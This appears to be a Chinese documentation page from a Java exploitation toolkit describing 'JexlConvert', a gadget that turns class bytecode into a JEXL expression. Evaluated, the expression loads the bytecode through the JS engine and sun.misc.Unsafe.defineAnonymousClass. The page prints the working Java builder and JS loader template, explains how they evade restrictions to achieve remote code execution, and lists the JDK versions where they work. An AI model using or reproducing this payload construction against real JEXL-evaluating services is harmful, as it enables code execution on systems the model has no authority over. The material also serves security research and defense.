Skip to content

Latest commit

 

History

History
61 lines (51 loc) · 4.28 KB

File metadata and controls

61 lines (51 loc) · 4.28 KB

将byte[]字节码转换为Jexl表达式字符串(JexlConvert)

  • 类别:common 别名:— 优先级:—
  • 作者:—
  • 依赖Jxel(Apache Commons JEXL 表达式引擎)

作用

把内层产出的 class 字节码(byte[])包装成一段 JEXL 表达式字符串:该表达式在被 JEXL 引擎求值时,会经由 ScriptEngineManager 拿到 JS(Nashorn/Rhino)引擎,用内嵌 JS 通过 sun.misc.Unsafe.defineAnonymousClass 加载并实例化字节码,从而实现「JEXL 表达式 → 任意字节码执行」。

链接标签

  • 入口 tagsJxel_ExprExpression —— 表明产物是一段可被「消费 JEXL/通用表达式」的上游 gadget(如某个会 eval JEXL 的 sink)承接的表达式串。
  • 衔接 nextTagsBytecodeConvertTag —— 其内层(下一环)须是产出 class 字节码的 gadget,即 BytecodeConvert(再往内接 Exec 等)。
  • excludes:无。

源码剖析

本 gadget 借用 JsConvert 的 JS 加载模板,再套一层 JEXL 语法外壳:

public static String jexlTemplate =
    "''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()"
  + ".getEngineByName(\"js\").eval(\"" + JsConvert.jsTemplate + "\")";

public String getObject(byte[] bytecode) {
    String bytecodeB64 = Base64.encodeBase64String(bytecode);
    return String.format(jexlTemplate, bytecodeB64);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((byte[]) chain.doCreate(context));   // 取内层字节码 → 转表达式串
}

其中被内嵌的 JsConvert.jsTemplate 为:

// JsConvert.jsTemplate
"var s = '%s';var bt;try {bt = java.lang.Class.forName('sun.misc.BASE64Decoder').newInstance().decodeBuffer(s);}"
+ "catch (e) {bt = java.util.Base64.getDecoder().decode(s);}"
+ "var theUnsafeField = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');"
+ "theUnsafeField.setAccessible(true);unsafe = theUnsafeField.get(null);"
+ "unsafe.defineAnonymousClass(java.lang.Class.forName('java.lang.Class'), bt, null).newInstance();";

逐段说明:

  1. invokechain.doCreate 取内层字节码,getObject 将其 Base64 编码为 bytecodeB64
  2. jexlTemplate 中只有一个 %s 占位符(来自内嵌 jsTemplate 里的 var s = '%s'),String.format 把 Base64 串填入。JEXL 外层 ''.getClass().forName("javax.script.ScriptEngineManager")...getEngineByName("js").eval("...") 是纯 JEXL 反射写法,绕过对方法调用的直接限制。
  3. JS 模板运行时:先把 Base64 还原为字节 bt(优先 sun.misc.BASE64Decoder,失败回退 java.util.Base64),再取出 sun.misc.Unsafe.theUnsafe,用 defineAnonymousClass 直接从字节数组定义匿名类并 newInstance(),触发恶意类的构造/静态逻辑(通常配合 TemplatesImpl 式恶意类完成 RCE)。
  4. 之所以走 Unsafe.defineAnonymousClass,是因为它无需自定义 ClassLoader、绕过大量类加载限制,且是 JS 引擎里可达的加载原语。

参数(@Param)

本 gadget 无 @Param。输入完全来自内层字节码(chain.doCreate),无用户可配字段。

适用版本与原理要点

  • 需要目标存在可用的 JS 脚本引擎:Java 6/7 为 Mozilla Rhino,Java 8~14 为 Oracle Nashorn,JDK 15 起 Nashorn 被移除——因此内嵌 JS 加载路径对 8 <= jdk <= 14 最稳(与 JsConvert 的适用区间一致)。
  • 依赖 sun.misc.Unsafe.defineAnonymousClass,该 API 在高版本 JDK 亦逐步受限/移除,需注意运行时可用性。
  • 最终触发点是「某处会对 JEXL 表达式求值」的 sink;本 gadget 只负责把字节码变成这样一段表达式。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。用于以 JEXL 表达式为载体投递字节码的自定义组合。

关联

  • 下游(nextTags=BytecodeConvertTag):BytecodeConvert →(Exec 等字节码 sink)。
  • 底层复用:JsConvert(提供 JS 加载模板)。
  • 同族表达式转换:JinJavaConvert(JinJava 表达式版本)。